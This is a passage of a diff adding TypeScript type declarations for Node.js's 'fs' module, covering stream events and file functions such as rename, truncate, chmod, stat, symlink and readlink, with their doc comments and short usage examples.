this; + once(event: "readable", listener: () => void): this; + once(event: "ready", listener: () => void): this; + once(event: "resume", listener: () => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "data", listener: (chunk: Buffer | string) => void): this; + prependListener(event: "end", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "open", listener: (fd: number) => void): this; + prependListener(event: "pause", listener: () => void): this; + prependListener(event: "readable", listener: () => void): this; + prependListener(event: "ready", listener: () => void): this; + prependListener(event: "resume", listener: () => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "data", listener: (chunk: Buffer | string) => void): this; + prependOnceListener(event: "end", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "open", listener: (fd: number) => void): this; + prependOnceListener(event: "pause", listener: () => void): this; + prependOnceListener(event: "readable", listener: () => void): this; + prependOnceListener(event: "ready", listener: () => void): this; + prependOnceListener(event: "resume", listener: () => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + /** + * * Extends `stream.Writable` + * + * Instances of `fs.WriteStream` are created and returned using the {@link createWriteStream} function. + * @since v0.1.93 + */ + export class WriteStream extends stream.Writable { + /** + * Closes `writeStream`. Optionally accepts a + * callback that will be executed once the `writeStream`is closed. + * @since v0.9.4 + */ + close(callback?: (err?: NodeJS.ErrnoException | null) => void): void; + /** + * The number of bytes written so far. Does not include data that is still queued + * for writing. + * @since v0.4.7 + */ + bytesWritten: number; + /** + * The path to the file the stream is writing to as specified in the first + * argument to {@link createWriteStream}. If `path` is passed as a string, then`writeStream.path` will be a string. If `path` is passed as a `Buffer`, then`writeStream.path` will be a + * `Buffer`. + * @since v0.1.93 + */ + path: string | Buffer; + /** + * This property is `true` if the underlying file has not been opened yet, + * i.e. before the `'ready'` event is emitted. + * @since v11.2.0 + */ + pending: boolean; + /** + * events.EventEmitter + * 1. open + * 2. close + * 3. ready + */ + addListener(event: "close", listener: () => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "finish", listener: () => void): this; + addListener(event: "open", listener: (fd: number) => void): this; + addListener(event: "pipe", listener: (src: stream.Readable) => void): this; + addListener(event: "ready", listener: () => void): this; + addListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + addListener(event: string | symbol, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "drain", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "finish", listener: () => void): this; + on(event: "open", listener: (fd: number) => void): this; + on(event: "pipe", listener: (src: stream.Readable) => void): this; + on(event: "ready", listener: () => void): this; + on(event: "unpipe", listener: (src: stream.Readable) => void): this; + on(event: string | symbol, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "drain", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "finish", listener: () => void): this; + once(event: "open", listener: (fd: number) => void): this; + once(event: "pipe", listener: (src: stream.Readable) => void): this; + once(event: "ready", listener: () => void): this; + once(event: "unpipe", listener: (src: stream.Readable) => void): this; + once(event: string | symbol, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "finish", listener: () => void): this; + prependListener(event: "open", listener: (fd: number) => void): this; + prependListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependListener(event: "ready", listener: () => void): this; + prependListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependListener(event: string | symbol, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "finish", listener: () => void): this; + prependOnceListener(event: "open", listener: (fd: number) => void): this; + prependOnceListener(event: "pipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: "ready", listener: () => void): this; + prependOnceListener(event: "unpipe", listener: (src: stream.Readable) => void): this; + prependOnceListener(event: string | symbol, listener: (...args: any[]) => void): this; + } + /** + * Asynchronously rename file at `oldPath` to the pathname provided + * as `newPath`. In the case that `newPath` already exists, it will + * be overwritten. If there is a directory at `newPath`, an error will + * be raised instead. No arguments other than a possible exception are + * given to the completion callback. + * + * See also: [`rename(2)`](http://man7.org/linux/man-pages/man2/rename.2.html). + * + * ```js + * import { rename } from 'node:fs'; + * + * rename('oldFile.txt', 'newFile.txt', (err) => { + * if (err) throw err; + * console.log('Rename complete!'); + * }); + * ``` + * @since v0.0.2 + */ + export function rename(oldPath: PathLike, newPath: PathLike, callback: NoParamCallback): void; + export namespace rename { + /** + * Asynchronous rename(2) - Change the name or location of a file or directory. + * @param oldPath A path to a file. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + * @param newPath A path to a file. If a URL is provided, it must use the `file:` protocol. + * URL support is _experimental_. + */ + function __promisify__(oldPath: PathLike, newPath: PathLike): Promise; + } + /** + * Renames the file from `oldPath` to `newPath`. Returns `undefined`. + * + * See the POSIX [`rename(2)`](http://man7.org/linux/man-pages/man2/rename.2.html) documentation for more details. + * @since v0.1.21 + */ + export function renameSync(oldPath: PathLike, newPath: PathLike): void; + /** + * Truncates the file. No arguments other than a possible exception are + * given to the completion callback. A file descriptor can also be passed as the + * first argument. In this case, `fs.ftruncate()` is called. + * + * ```js + * import { truncate } from 'node:fs'; + * // Assuming that 'path/file.txt' is a regular file. + * truncate('path/file.txt', (err) => { + * if (err) throw err; + * console.log('path/file.txt was truncated'); + * }); + * ``` + * + * Passing a file descriptor is deprecated and may result in an error being thrown + * in the future. + * + * See the POSIX [`truncate(2)`](http://man7.org/linux/man-pages/man2/truncate.2.html) documentation for more details. + * @since v0.8.6 + * @param [len=0] + */ + export function truncate(path: PathLike, len: number | undefined | null, callback: NoParamCallback): void; + /** + * Asynchronous truncate(2) - Truncate a file to a specified length. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export function truncate(path: PathLike, callback: NoParamCallback): void; + export namespace truncate { + /** + * Asynchronous truncate(2) - Truncate a file to a specified length. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param len If not specified, defaults to `0`. + */ + function __promisify__(path: PathLike, len?: number | null): Promise; + } + /** + * Truncates the file. Returns `undefined`. A file descriptor can also be + * passed as the first argument. In this case, `fs.ftruncateSync()` is called. + * + * Passing a file descriptor is deprecated and may result in an error being thrown + * in the future. + * @since v0.8.6 + * @param [len=0] + */ + export function truncateSync(path: PathLike, len?: number | null): void; + /** + * Truncates the file descriptor. No arguments other than a possible exception are + * given to the completion callback. + * + * See the POSIX [`ftruncate(2)`](http://man7.org/linux/man-pages/man2/ftruncate.2.html) documentation for more detail. + * + * If the file referred to by the file descriptor was larger than `len` bytes, only + * the first `len` bytes will be retained in the file. + * + * For example, the following program retains only the first four bytes of the + * file: + * + * ```js + * import { open, close, ftruncate } from 'node:fs'; + * + * function closeFd(fd) { + * close(fd, (err) => { + * if (err) throw err; + * }); + * } + * + * open('temp.txt', 'r+', (err, fd) => { + * if (err) throw err; + * + * try { + * ftruncate(fd, 4, (err) => { + * closeFd(fd); + * if (err) throw err; + * }); + * } catch (err) { + * closeFd(fd); + * if (err) throw err; + * } + * }); + * ``` + * + * If the file previously was shorter than `len` bytes, it is extended, and the + * extended part is filled with null bytes (`'\0'`): + * + * If `len` is negative then `0` will be used. + * @since v0.8.6 + * @param [len=0] + */ + export function ftruncate(fd: number, len: number | undefined | null, callback: NoParamCallback): void; + /** + * Asynchronous ftruncate(2) - Truncate a file to a specified length. + * @param fd A file descriptor. + */ + export function ftruncate(fd: number, callback: NoParamCallback): void; + export namespace ftruncate { + /** + * Asynchronous ftruncate(2) - Truncate a file to a specified length. + * @param fd A file descriptor. + * @param len If not specified, defaults to `0`. + */ + function __promisify__(fd: number, len?: number | null): Promise; + } + /** + * Truncates the file descriptor. Returns `undefined`. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link ftruncate}. + * @since v0.8.6 + * @param [len=0] + */ + export function ftruncateSync(fd: number, len?: number | null): void; + /** + * Asynchronously changes owner and group of a file. No arguments other than a + * possible exception are given to the completion callback. + * + * See the POSIX [`chown(2)`](http://man7.org/linux/man-pages/man2/chown.2.html) documentation for more detail. + * @since v0.1.97 + */ + export function chown(path: PathLike, uid: number, gid: number, callback: NoParamCallback): void; + export namespace chown { + /** + * Asynchronous chown(2) - Change ownership of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__(path: PathLike, uid: number, gid: number): Promise; + } + /** + * Synchronously changes owner and group of a file. Returns `undefined`. + * This is the synchronous version of {@link chown}. + * + * See the POSIX [`chown(2)`](http://man7.org/linux/man-pages/man2/chown.2.html) documentation for more detail. + * @since v0.1.97 + */ + export function chownSync(path: PathLike, uid: number, gid: number): void; + /** + * Sets the owner of the file. No arguments other than a possible exception are + * given to the completion callback. + * + * See the POSIX [`fchown(2)`](http://man7.org/linux/man-pages/man2/fchown.2.html) documentation for more detail. + * @since v0.4.7 + */ + export function fchown(fd: number, uid: number, gid: number, callback: NoParamCallback): void; + export namespace fchown { + /** + * Asynchronous fchown(2) - Change ownership of a file. + * @param fd A file descriptor. + */ + function __promisify__(fd: number, uid: number, gid: number): Promise; + } + /** + * Sets the owner of the file. Returns `undefined`. + * + * See the POSIX [`fchown(2)`](http://man7.org/linux/man-pages/man2/fchown.2.html) documentation for more detail. + * @since v0.4.7 + * @param uid The file's new owner's user id. + * @param gid The file's new group's group id. + */ + export function fchownSync(fd: number, uid: number, gid: number): void; + /** + * Set the owner of the symbolic link. No arguments other than a possible + * exception are given to the completion callback. + * + * See the POSIX [`lchown(2)`](http://man7.org/linux/man-pages/man2/lchown.2.html) documentation for more detail. + */ + export function lchown(path: PathLike, uid: number, gid: number, callback: NoParamCallback): void; + export namespace lchown { + /** + * Asynchronous lchown(2) - Change ownership of a file. Does not dereference symbolic links. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__(path: PathLike, uid: number, gid: number): Promise; + } + /** + * Set the owner for the path. Returns `undefined`. + * + * See the POSIX [`lchown(2)`](http://man7.org/linux/man-pages/man2/lchown.2.html) documentation for more details. + * @param uid The file's new owner's user id. + * @param gid The file's new group's group id. + */ + export function lchownSync(path: PathLike, uid: number, gid: number): void; + /** + * Changes the access and modification times of a file in the same way as {@link utimes}, with the difference that if the path refers to a symbolic + * link, then the link is not dereferenced: instead, the timestamps of the + * symbolic link itself are changed. + * + * No arguments other than a possible exception are given to the completion + * callback. + * @since v14.5.0, v12.19.0 + */ + export function lutimes(path: PathLike, atime: TimeLike, mtime: TimeLike, callback: NoParamCallback): void; + export namespace lutimes { + /** + * Changes the access and modification times of a file in the same way as `fsPromises.utimes()`, + * with the difference that if the path refers to a symbolic link, then the link is not + * dereferenced: instead, the timestamps of the symbolic link itself are changed. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param atime The last access time. If a string is provided, it will be coerced to number. + * @param mtime The last modified time. If a string is provided, it will be coerced to number. + */ + function __promisify__(path: PathLike, atime: TimeLike, mtime: TimeLike): Promise; + } + /** + * Change the file system timestamps of the symbolic link referenced by `path`. + * Returns `undefined`, or throws an exception when parameters are incorrect or + * the operation fails. This is the synchronous version of {@link lutimes}. + * @since v14.5.0, v12.19.0 + */ + export function lutimesSync(path: PathLike, atime: TimeLike, mtime: TimeLike): void; + /** + * Asynchronously changes the permissions of a file. No arguments other than a + * possible exception are given to the completion callback. + * + * See the POSIX [`chmod(2)`](http://man7.org/linux/man-pages/man2/chmod.2.html) documentation for more detail. + * + * ```js + * import { chmod } from 'node:fs'; + * + * chmod('my_file.txt', 0o775, (err) => { + * if (err) throw err; + * console.log('The permissions for file "my_file.txt" have been changed!'); + * }); + * ``` + * @since v0.1.30 + */ + export function chmod(path: PathLike, mode: Mode, callback: NoParamCallback): void; + export namespace chmod { + /** + * Asynchronous chmod(2) - Change permissions of a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param mode A file mode. If a string is passed, it is parsed as an octal integer. + */ + function __promisify__(path: PathLike, mode: Mode): Promise; + } + /** + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link chmod}. + * + * See the POSIX [`chmod(2)`](http://man7.org/linux/man-pages/man2/chmod.2.html) documentation for more detail. + * @since v0.6.7 + */ + export function chmodSync(path: PathLike, mode: Mode): void; + /** + * Sets the permissions on the file. No arguments other than a possible exception + * are given to the completion callback. + * + * See the POSIX [`fchmod(2)`](http://man7.org/linux/man-pages/man2/fchmod.2.html) documentation for more detail. + * @since v0.4.7 + */ + export function fchmod(fd: number, mode: Mode, callback: NoParamCallback): void; + export namespace fchmod { + /** + * Asynchronous fchmod(2) - Change permissions of a file. + * @param fd A file descriptor. + * @param mode A file mode. If a string is passed, it is parsed as an octal integer. + */ + function __promisify__(fd: number, mode: Mode): Promise; + } + /** + * Sets the permissions on the file. Returns `undefined`. + * + * See the POSIX [`fchmod(2)`](http://man7.org/linux/man-pages/man2/fchmod.2.html) documentation for more detail. + * @since v0.4.7 + */ + export function fchmodSync(fd: number, mode: Mode): void; + /** + * Changes the permissions on a symbolic link. No arguments other than a possible + * exception are given to the completion callback. + * + * This method is only implemented on macOS. + * + * See the POSIX [`lchmod(2)`](https://www.freebsd.org/cgi/man.cgi?query=lchmod&sektion=2) documentation for more detail. + * @deprecated Since v0.4.7 + */ + export function lchmod(path: PathLike, mode: Mode, callback: NoParamCallback): void; + /** @deprecated */ + export namespace lchmod { + /** + * Asynchronous lchmod(2) - Change permissions of a file. Does not dereference symbolic links. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param mode A file mode. If a string is passed, it is parsed as an octal integer. + */ + function __promisify__(path: PathLike, mode: Mode): Promise; + } + /** + * Changes the permissions on a symbolic link. Returns `undefined`. + * + * This method is only implemented on macOS. + * + * See the POSIX [`lchmod(2)`](https://www.freebsd.org/cgi/man.cgi?query=lchmod&sektion=2) documentation for more detail. + * @deprecated Since v0.4.7 + */ + export function lchmodSync(path: PathLike, mode: Mode): void; + /** + * Asynchronous [`stat(2)`](http://man7.org/linux/man-pages/man2/stat.2.html). The callback gets two arguments `(err, stats)` where`stats` is an `fs.Stats` object. + * + * In case of an error, the `err.code` will be one of `Common System Errors`. + * + * {@link stat} follows symbolic links. Use {@link lstat} to look at the + * links themselves. + * + * Using `fs.stat()` to check for the existence of a file before calling`fs.open()`, `fs.readFile()`, or `fs.writeFile()` is not recommended. + * Instead, user code should open/read/write the file directly and handle the + * error raised if the file is not available. + * + * To check if a file exists without manipulating it afterwards, {@link access} is recommended. + * + * For example, given the following directory structure: + * + * ```text + * - txtDir + * -- file.txt + * - app.js + * ``` + * + * The next program will check for the stats of the given paths: + * + * ```js + * import { stat } from 'node:fs'; + * + * const pathsToCheck = ['./txtDir', './txtDir/file.txt']; + * + * for (let i = 0; i < pathsToCheck.length; i++) { + * stat(pathsToCheck[i], (err, stats) => { + * console.log(stats.isDirectory()); + * console.log(stats); + * }); + * } + * ``` + * + * The resulting output will resemble: + * + * ```console + * true + * Stats { + * dev: 16777220, + * mode: 16877, + * nlink: 3, + * uid: 501, + * gid: 20, + * rdev: 0, + * blksize: 4096, + * ino: 14214262, + * size: 96, + * blocks: 0, + * atimeMs: 1561174653071.963, + * mtimeMs: 1561174614583.3518, + * ctimeMs: 1561174626623.5366, + * birthtimeMs: 1561174126937.2893, + * atime: 2019-06-22T03:37:33.072Z, + * mtime: 2019-06-22T03:36:54.583Z, + * ctime: 2019-06-22T03:37:06.624Z, + * birthtime: 2019-06-22T03:28:46.937Z + * } + * false + * Stats { + * dev: 16777220, + * mode: 33188, + * nlink: 1, + * uid: 501, + * gid: 20, + * rdev: 0, + * blksize: 4096, + * ino: 14214074, + * size: 8, + * blocks: 8, + * atimeMs: 1561174616618.8555, + * mtimeMs: 1561174614584, + * ctimeMs: 1561174614583.8145, + * birthtimeMs: 1561174007710.7478, + * atime: 2019-06-22T03:36:56.619Z, + * mtime: 2019-06-22T03:36:54.584Z, + * ctime: 2019-06-22T03:36:54.584Z, + * birthtime: 2019-06-22T03:26:47.711Z + * } + * ``` + * @since v0.0.2 + */ + export function stat(path: PathLike, callback: (err: NodeJS.ErrnoException | null, stats: Stats) => void): void; + export function stat( + path: PathLike, + options: + | (StatOptions & { + bigint?: false | undefined; + }) + | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: Stats) => void, + ): void; + export function stat( + path: PathLike, + options: StatOptions & { + bigint: true; + }, + callback: (err: NodeJS.ErrnoException | null, stats: BigIntStats) => void, + ): void; + export function stat( + path: PathLike, + options: StatOptions | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: Stats | BigIntStats) => void, + ): void; + export namespace stat { + /** + * Asynchronous stat(2) - Get file status. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__( + path: PathLike, + options?: StatOptions & { + bigint?: false | undefined; + }, + ): Promise; + function __promisify__( + path: PathLike, + options: StatOptions & { + bigint: true; + }, + ): Promise; + function __promisify__(path: PathLike, options?: StatOptions): Promise; + } + export interface StatSyncFn extends Function { + (path: PathLike, options?: undefined): Stats; + ( + path: PathLike, + options?: StatSyncOptions & { + bigint?: false | undefined; + throwIfNoEntry: false; + }, + ): Stats | undefined; + ( + path: PathLike, + options: StatSyncOptions & { + bigint: true; + throwIfNoEntry: false; + }, + ): BigIntStats | undefined; + ( + path: PathLike, + options?: StatSyncOptions & { + bigint?: false | undefined; + }, + ): Stats; + ( + path: PathLike, + options: StatSyncOptions & { + bigint: true; + }, + ): BigIntStats; + ( + path: PathLike, + options: StatSyncOptions & { + bigint: boolean; + throwIfNoEntry?: false | undefined; + }, + ): Stats | BigIntStats; + (path: PathLike, options?: StatSyncOptions): Stats | BigIntStats | undefined; + } + /** + * Synchronous stat(2) - Get file status. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export const statSync: StatSyncFn; + /** + * Invokes the callback with the `fs.Stats` for the file descriptor. + * + * See the POSIX [`fstat(2)`](http://man7.org/linux/man-pages/man2/fstat.2.html) documentation for more detail. + * @since v0.1.95 + */ + export function fstat(fd: number, callback: (err: NodeJS.ErrnoException | null, stats: Stats) => void): void; + export function fstat( + fd: number, + options: + | (StatOptions & { + bigint?: false | undefined; + }) + | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: Stats) => void, + ): void; + export function fstat( + fd: number, + options: StatOptions & { + bigint: true; + }, + callback: (err: NodeJS.ErrnoException | null, stats: BigIntStats) => void, + ): void; + export function fstat( + fd: number, + options: StatOptions | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: Stats | BigIntStats) => void, + ): void; + export namespace fstat { + /** + * Asynchronous fstat(2) - Get file status. + * @param fd A file descriptor. + */ + function __promisify__( + fd: number, + options?: StatOptions & { + bigint?: false | undefined; + }, + ): Promise; + function __promisify__( + fd: number, + options: StatOptions & { + bigint: true; + }, + ): Promise; + function __promisify__(fd: number, options?: StatOptions): Promise; + } + /** + * Retrieves the `fs.Stats` for the file descriptor. + * + * See the POSIX [`fstat(2)`](http://man7.org/linux/man-pages/man2/fstat.2.html) documentation for more detail. + * @since v0.1.95 + */ + export function fstatSync( + fd: number, + options?: StatOptions & { + bigint?: false | undefined; + }, + ): Stats; + export function fstatSync( + fd: number, + options: StatOptions & { + bigint: true; + }, + ): BigIntStats; + export function fstatSync(fd: number, options?: StatOptions): Stats | BigIntStats; + /** + * Retrieves the `fs.Stats` for the symbolic link referred to by the path. + * The callback gets two arguments `(err, stats)` where `stats` is a `fs.Stats` object. `lstat()` is identical to `stat()`, except that if `path` is a symbolic + * link, then the link itself is stat-ed, not the file that it refers to. + * + * See the POSIX [`lstat(2)`](http://man7.org/linux/man-pages/man2/lstat.2.html) documentation for more details. + * @since v0.1.30 + */ + export function lstat(path: PathLike, callback: (err: NodeJS.ErrnoException | null, stats: Stats) => void): void; + export function lstat( + path: PathLike, + options: + | (StatOptions & { + bigint?: false | undefined; + }) + | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: Stats) => void, + ): void; + export function lstat( + path: PathLike, + options: StatOptions & { + bigint: true; + }, + callback: (err: NodeJS.ErrnoException | null, stats: BigIntStats) => void, + ): void; + export function lstat( + path: PathLike, + options: StatOptions | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: Stats | BigIntStats) => void, + ): void; + export namespace lstat { + /** + * Asynchronous lstat(2) - Get file status. Does not dereference symbolic links. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__( + path: PathLike, + options?: StatOptions & { + bigint?: false | undefined; + }, + ): Promise; + function __promisify__( + path: PathLike, + options: StatOptions & { + bigint: true; + }, + ): Promise; + function __promisify__(path: PathLike, options?: StatOptions): Promise; + } + /** + * Asynchronous [`statfs(2)`](http://man7.org/linux/man-pages/man2/statfs.2.html). Returns information about the mounted file system which + * contains `path`. The callback gets two arguments `(err, stats)` where `stats`is an `fs.StatFs` object. + * + * In case of an error, the `err.code` will be one of `Common System Errors`. + * @since v19.6.0, v18.15.0 + * @param path A path to an existing file or directory on the file system to be queried. + */ + export function statfs(path: PathLike, callback: (err: NodeJS.ErrnoException | null, stats: StatsFs) => void): void; + export function statfs( + path: PathLike, + options: + | (StatFsOptions & { + bigint?: false | undefined; + }) + | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: StatsFs) => void, + ): void; + export function statfs( + path: PathLike, + options: StatFsOptions & { + bigint: true; + }, + callback: (err: NodeJS.ErrnoException | null, stats: BigIntStatsFs) => void, + ): void; + export function statfs( + path: PathLike, + options: StatFsOptions | undefined, + callback: (err: NodeJS.ErrnoException | null, stats: StatsFs | BigIntStatsFs) => void, + ): void; + export namespace statfs { + /** + * Asynchronous statfs(2) - Returns information about the mounted file system which contains path. The callback gets two arguments (err, stats) where stats is an object. + * @param path A path to an existing file or directory on the file system to be queried. + */ + function __promisify__( + path: PathLike, + options?: StatFsOptions & { + bigint?: false | undefined; + }, + ): Promise; + function __promisify__( + path: PathLike, + options: StatFsOptions & { + bigint: true; + }, + ): Promise; + function __promisify__(path: PathLike, options?: StatFsOptions): Promise; + } + /** + * Synchronous [`statfs(2)`](http://man7.org/linux/man-pages/man2/statfs.2.html). Returns information about the mounted file system which + * contains `path`. + * + * In case of an error, the `err.code` will be one of `Common System Errors`. + * @since v19.6.0, v18.15.0 + * @param path A path to an existing file or directory on the file system to be queried. + */ + export function statfsSync( + path: PathLike, + options?: StatFsOptions & { + bigint?: false | undefined; + }, + ): StatsFs; + export function statfsSync( + path: PathLike, + options: StatFsOptions & { + bigint: true; + }, + ): BigIntStatsFs; + export function statfsSync(path: PathLike, options?: StatFsOptions): StatsFs | BigIntStatsFs; + /** + * Synchronous lstat(2) - Get file status. Does not dereference symbolic links. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export const lstatSync: StatSyncFn; + /** + * Creates a new link from the `existingPath` to the `newPath`. See the POSIX [`link(2)`](http://man7.org/linux/man-pages/man2/link.2.html) documentation for more detail. No arguments other than + * a possible + * exception are given to the completion callback. + * @since v0.1.31 + */ + export function link(existingPath: PathLike, newPath: PathLike, callback: NoParamCallback): void; + export namespace link { + /** + * Asynchronous link(2) - Create a new link (also known as a hard link) to an existing file. + * @param existingPath A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param newPath A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__(existingPath: PathLike, newPath: PathLike): Promise; + } + /** + * Creates a new link from the `existingPath` to the `newPath`. See the POSIX [`link(2)`](http://man7.org/linux/man-pages/man2/link.2.html) documentation for more detail. Returns `undefined`. + * @since v0.1.31 + */ + export function linkSync(existingPath: PathLike, newPath: PathLike): void; + /** + * Creates the link called `path` pointing to `target`. No arguments other than a + * possible exception are given to the completion callback. + * + * See the POSIX [`symlink(2)`](http://man7.org/linux/man-pages/man2/symlink.2.html) documentation for more details. + * + * The `type` argument is only available on Windows and ignored on other platforms. + * It can be set to `'dir'`, `'file'`, or `'junction'`. If the `type` argument is + * not a string, Node.js will autodetect `target` type and use `'file'` or `'dir'`. + * If the `target` does not exist, `'file'` will be used. Windows junction points + * require the destination path to be absolute. When using `'junction'`, the`target` argument will automatically be normalized to absolute path. Junction + * points on NTFS volumes can only point to directories. + * + * Relative targets are relative to the link's parent directory. + * + * ```js + * import { symlink } from 'node:fs'; + * + * symlink('./mew', './mewtwo', callback); + * ``` + * + * The above example creates a symbolic link `mewtwo` which points to `mew` in the + * same directory: + * + * ```bash + * $ tree . + * . + * ├── mew + * └── mewtwo -> ./mew + * ``` + * @since v0.1.31 + * @param [type='null'] + */ + export function symlink( + target: PathLike, + path: PathLike, + type: symlink.Type | undefined | null, + callback: NoParamCallback, + ): void; + /** + * Asynchronous symlink(2) - Create a new symbolic link to an existing file. + * @param target A path to an existing file. If a URL is provided, it must use the `file:` protocol. + * @param path A path to the new symlink. If a URL is provided, it must use the `file:` protocol. + */ + export function symlink(target: PathLike, path: PathLike, callback: NoParamCallback): void; + export namespace symlink { + /** + * Asynchronous symlink(2) - Create a new symbolic link to an existing file. + * @param target A path to an existing file. If a URL is provided, it must use the `file:` protocol. + * @param path A path to the new symlink. If a URL is provided, it must use the `file:` protocol. + * @param type May be set to `'dir'`, `'file'`, or `'junction'` (default is `'file'`) and is only available on Windows (ignored on other platforms). + * When using `'junction'`, the `target` argument will automatically be normalized to an absolute path. + */ + function __promisify__(target: PathLike, path: PathLike, type?: string | null): Promise; + type Type = "dir" | "file" | "junction"; + } + /** + * Returns `undefined`. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link symlink}. + * @since v0.1.31 + * @param [type='null'] + */ + export function symlinkSync(target: PathLike, path: PathLike, type?: symlink.Type | null): void; + /** + * Reads the contents of the symbolic link referred to by `path`. The callback gets + * two arguments `(err, linkString)`. + * + * See the POSIX [`readlink(2)`](http://man7.org/linux/man-pages/man2/readlink.2.html) documentation for more details. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the link path passed to the callback. If the `encoding` is set to `'buffer'`, + * the link path returned will be passed as a `Buffer` object. + * @since v0.1.31 + */ + export function readlink( + path: PathLike, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, linkString: string) => void, + ): void; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readlink( + path: PathLike, + options: BufferEncodingOption, + callback: (err: NodeJS.ErrnoException | null, linkString: Buffer) => void, + ): void; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readlink( + path: PathLike, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, linkString: string | Buffer) => void, + ): void; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export function readlink( + path: PathLike, + callback: (err: NodeJS.ErrnoException | null, linkString: string) => void, + ): void; + export namespace readlink { + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(path: PathLike, options?: EncodingOption): Promise; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(path: PathLike, options: BufferEncodingOption): Promise; + /** + * Asynchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(path: PathLike, options?: EncodingOption): Promise; + } + /** + * Returns the symbolic link's string value. + * + * See the POSIX [`readlink(2)`](http://man7.org/linux/man-pages/man2/readlink.2.html) documentation for more details. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the link path returned. If the `encoding` is set to `'buffer'`, + * the link path returned will be passed as a `Buffer` object. + * @since v0.1.31 + */ + export function readlinkSync(path: PathLike, options?: EncodingOption): string; + /** + * Synchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readlinkSync(path: PathLike, options: BufferEncodingOption): Buffer; + /** + * Synchronous readlink(2) - read value of a symbolic link. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readlinkSync(path: PathLike, options?: EncodingOption): string | Buffer; + /** + * Asynchronously computes the canonical pathname by resolving `.`, `..`, and + * symbolic links. + * + * A canonical pathname is not necessarily unique. Hard links and bind mounts can + * expose a file system entity through many pathnames. + * + * This function behaves like [`realpath(3)`](http://man7.org/linux/man-pages/man3/realpath.3.html), with some exceptions: + * + * 1. No case conversion is performed on case-insensitive file systems. + * 2. The maximum number of symbolic links is platform-independent and generally + * (much) higher than what the native [`realpath(3)`](http://man7.org/linux/man-pages/man3/realpath.3.html) implementation supports. + * + * The `callback` 